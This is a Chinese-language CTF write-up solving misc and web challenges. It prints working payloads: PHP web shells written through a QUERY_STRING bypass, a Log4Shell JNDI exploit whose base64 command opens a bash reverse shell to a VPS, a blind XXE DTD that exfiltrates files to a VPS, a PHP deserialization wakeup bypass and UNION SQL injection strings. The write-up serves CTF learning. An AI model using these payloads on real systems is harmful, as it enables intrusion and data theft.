MISC 盗梦空间
密钥:
1 PB5 CMZCPGU7 GSJKNJRDUQYJFMZJE24 BSIR3 TGI3 TJ55 FGQ2 GERJGIWDAJBHTK2 BVIFIDKNZ2 LJKFKND2 L5 QX42 B6 HJJFA7 LLLBHUE4 S5 MZTDYTRTLFAHUVBMFN5 SWQLLLZRWQ6 SHO5 CTMXRYKV5 FMLSCLEUWSWBQJI2 VGOR4 JE5 UYUKQPRXTWJLUJB3 TWVKZFM3 F6 WTRJYRFC432 KVEC4 ILYKRTTCQTFKBWTAYSNN5 XTE2 TKMBSHWNSFNQQVURCZO55 G6 OZUFNKSIOJRGA2 EYYKOMJMXK3 TYIB4 UWZLRJ54 GUTLWFJWEWTLKMR6 TKJSHOUYWMKS7 IUUWMMDXL5 QUC2 KJEQWE4 R2 VFJCQ====
这种适合用ciphey直接解
Megumi
一波检测操作下来无任何发现。通过题目描述,搜一下图
搜索:不起眼女主角培育法 同人游戏社团
得到社团Blessing Software。到这一步卡死。
后面给出了提示
1 2 3 Misc-Megumi guess一下是什么隐写
那必然outguess试一下
试了几次,key是全小写的社团名。
WEB ezphp1
扫描目录得到index.php.bak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" > <style> body { background: pink url ('bg.png' ) no-repeat; background-size: cover; } </style> </head> <body > <h1>我想有人一下子就猜出题是谁出的了。</h1> </body> </html><?php $query = urldecode ($_SERVER ["QUERY_STRING" ]);if (strpos ($query , '_' ) !== False) die ("nonono" );if (isset ($_GET ['f_name' ])){ $path = $_GET ['f_name' ]; $content = $_POST ['f_content' ]; if (preg_match ('/(eval)|(assert)|(system)|(exec)|(shell_exec)|(popen)|(passthru)|(pcntl_exec)|(preg_replace)|(create_function)|(array_map)|(call_user_func)|(call_user_func_array)|(array_filter)|(uasort)/i' , $content ) !== 0 ) die ('nonono!' ); if (strlen ($content ) > 22 ){ die ('why are you so LONG?' ); } if (file_put_contents ($path , $content )) die ("ok" ); }?>
$_SERVER[“QUERY_STRING”]的绕过
参考http://t.zoukankan.com/tlbjiayou-p-12564440.html
_使用.或者+都可以绕过
1 2 GET:?f.name =shell.php POST:f_content =<?=$_GET[1]($_GET [2]);
先在/tmp发现flag.sh
1 /shell.php?1 =assert &2 =print_r(scandir ('/ tmp ') );
接着show_source读取得到flag位置/usr/f1ag_here
最后读取flag即可
payload:
1 2 GET:?f.name =shell.php POST:f_content =<?=$_GET[1]($_GET [2]);
ezphp2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php error_reporting (0 );if ($_GET ['source' ] == 1 ) { highlight_file (__FILE__ ); die (); }$query = urldecode ($_SERVER ["QUERY_STRING" ]);if (strpos ($query , '_' ) !== False) die ("error" );if (isset ($_GET ['name_nnnn' ])) { $name = "Upld0d/" . $_GET ['name_nnnn' ]; $text = $_POST ['file_c' ]; if (strlen ($text ) > 18 ) die ("error" ); if (preg_match ('/<\?ph.|flag/i' , $text ) !== 0 ) die ("error" ); if (file_put_contents ($name , $text )) die ("ok" ); }?>
payload:
1 2 GET:/index.php?name.nnnn =shell.php POST:file_c =<?=eval($_GET[0]);
/Upld0d/shell.php
http://59.110.213.14:51154/Upld0d/shell.php?0=show_source('/tmp/flag.sh') ;
1 2 3 #!/bin/bash sed -i "s/flag_here/$1 /" /flaaaaaag
得到flag位置
1 /Upld0d/ shell.php?0 =show_source('/flaaaaaag' );
图书馆
CVE-2021-44228
先使用DNSLOG测一下http://www.dnslog.cn/
1 2 POST /api/ loginCheck id=999 &passwd=${jndi:ldap://67xhrk.dnslog.cn}
存在漏洞
在VPS上搭建一个ldap服务
1 java -jar JNDI-Injection-Exploit-1 .0 -SNAPSHOT-all .jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9WUFMvMjMzMyAwPiYx}|{base64,-d}|bash" -A 127.0.0.1
再起一个终端监听
cat flag
有来无回
题目描述给了xxe.php
1 Can you use Blind XXE to build a OOB for the /tmp/flag.txt ?
提示需要OOB,外带数据,我习惯用VPS。
VPS本地文件evil.dtd
1 2 3 4 <!ENTITY % all "<!ENTITY % send SYSTEM 'http://VPS/evil.php?xe=%file;'" > %all;
VPS文件evil.php
1 2 3 4 5 6 7 <?php $content = $_GET ['xe' ];if (isset ($content )){ file_put_contents ('flag.txt' ,'更新时间:' .date ("Y-m-d H:i:s" )."\n" .$content ); }else { echo 'no data input' ; }
payload:
1 2 3 4 5 6 7 <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///tmp/flag.txt"> <!ENTITY % remote SYSTEM "http://VPS/evil.dtd"> %remote; %send; ]>
其实并没有外带成功,触发evil.php将flag读出,但是这里触发了evil.dtd,并且语句报错爆出了flag。
反败为胜
1 2 3 4 5 6 7 8 9 10 11 12 U2FsdGVkX19jYOTTVyrJhkVnOy4DucIvfuvRB3i8cJkHc0h3f1Hg5Dqsd+KeRgj6 BhlZeiD4FvK3YXfLuK0aKvseB8C7vKbuCrY9+AVyE736cnMNTRv93/9uxy7UEcwW ywp1WaOGNcgygqvCOFOwLna0sWzo7QIAM9sm00gEKfYfC6M2H9HFGpJ0OPA/a9au xjN5ICGqTWKVyc8BEM68MhEQlskEEnYu5H46009okCYfP4tZmbRtxIXid9VjCK0w F8so7K25CoXG6Lbn7YbdqehYquo9ZHyuBLU8eItPQx99WvPb5FIMroAzMiqmCBzU BbPuGOb0pAHZFE/zPh2gBJxV5JST/3qDCPFm++/LAZzjkuVd+z/oVP37oC1vn2x6 oYer8UZxhl1P2b/bDbpi51zuPYs3EsbDlCLLf5DMbjWH+d8lWUNicjYb4Rjqx6w8 s/8IDzFlu46cTawqu5iGHxDWRsWLxxucUCT0jxmEQmd8/AFPwGggk/dldoXSLCXG gpRAYJITVJar1A3l4b54ZDjjB/mbh1OrqalKWeISNQEE
RC4解密得到
http://www.jsons.cn/rc4encrypt/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php echo ("ser.php: You find me!" );class ouo { private $ser_code = "ser" ; function __destruct ( ) { if (!empty ($this ->ser_code)) { if ($this ->ser_code == "FLAG" ) echo ("{flag}" ); else die ('Try Again!' ); }} function __wakeup ( ) { $this ->ser_code=null ; } }$ser_code = $_COOKIE ['SER' ];unserialize ($ser_code );?>
exp:
1 2 3 4 5 6 7 8 9 <?php class ouo { private $ser_code = "FLAG" ; }$s =new ouo;echo urlencode (serialize ($s ));?>
CVE-2016-7124绕过wakeup
payload
1 O %3 A3%3 A%22 ouo%22 %3 A1%3 A%7 Bs%3 A13%3 A%22 %00 ouo%00 ser_code%22 %3 Bs%3 A4%3 A%22 FLAG%22 %3 B%7 D{flag}
sql
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php include_once ('db.inc.php' );include_once ('common.php' );if (isset ($_GET ['id' ])) { $data = p (2 ,1 ,1 ); $id = string ::delHtml ($data ['id' ]); $id = urldecode ($id ); $conn = new mysqli (DB_HOST, DB_USER, DB_PWD, DB_NAME); if ($conn ->connect_error) { die ("连接失败: " . $conn ->connect_error); } $sql = "SELECT id, name, email FROM users where id = '$id ' limit 1" ; $result = $conn ->query ($sql ); if ($result ) { if ($result ->num_rows > 0 ) { while ($row = $result ->fetch_assoc ()) { echo "id: " . $row ["id" ] . "<br>Name: " . $row ["name" ] . "<br>" . $row ["email" ] . "<br>" ; } } else { echo "0 结果" ; } } else { echo ($conn ->error); } $conn ->close (); } else { highlight_file (__FILE__ ); }
参数->string::delHtml->urldecode
有一个urldecode,可能有用,尝试二重url编码单引号发现能引发报错
直接输入单引号一点用处都没有,可能是经过string::delHtml的处理,但是urldecode函数在转义过程之后,所以可用双重url编码绕过。
剩下的就是普通的联合查询注入。
1 2 3 4 5 ?id=0 % 2527 %2Bunion%2Bselect%2B1 %2C2%2C3%2523 ?id=0 %2527union%2Bselect%2B1 %2C2%2Cdatabase()%2B%2523 sqlll10.1 .48 -MariaDB-0 +deb9u2
查表名
1 2 3 ?id =0 %2527union %2Bselect %2B1 %2C2 %2Cgroup_concat (table_name)from%2Binformation_schema .tables%2Bwhere %2Btable_schema %3Ddatabase ()%2B %2523 is_this_flag,users
查列名
1 2 3 ?id =0 %2527union %2Bselect %2B1 %2C2 %2Cgroup_concat (column_name)from%2Binformation_schema .columns%2Bwhere %2Btable_name %3D %2527is_this_flag %2527 %2B %2523 flag
查flag
1 ?id=0 %2527union%2Bselect%2B1 %2C2%2Cgroup_concat(flag)from%2Bis_this_flag%2B%2523
skip
run.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 const app = require ("express" )();const FLAG = process.env .FLAG ?? "SECCON{dummy}" ;const PORT = 3000 ; app.get ("/" , (req, res ) => { console .log (req.query ) req.query .proxy .includes ("nginx" ) ? res.status (400 ).send ("Access here directly, not via nginx :(" ) : res.send (`Congratz! You got a flag: ${FLAG} ` ); }); app.listen ({ port : PORT , host : "0.0.0.0" }, () => { console .log (`Server listening at ${PORT} ` ); });
需要给proxy赋值,只要不为nginx就可以输出flag,只传proxy参数不行,必须有多个参数才能使req.query.proxy等于传入参数,但是单个参数又不够,所以又写了一脚本爆破,最终得到flag。
exp:
1 2 3 4 5 6 7 8 9 10 import requestsimport timefor i in range (500 ,1000 ): burp0_url = 'http://59.110.213.14:45319/?' +'x=1&' *i+'proxy=end' ; burp0_headers = {"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0" } s=requests.get(burp0_url, headers=burp0_headers) if "flag" in s.text: print (burp0_url) print (s.text)
payload:
1 ?x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&x =1&proxy =end
999个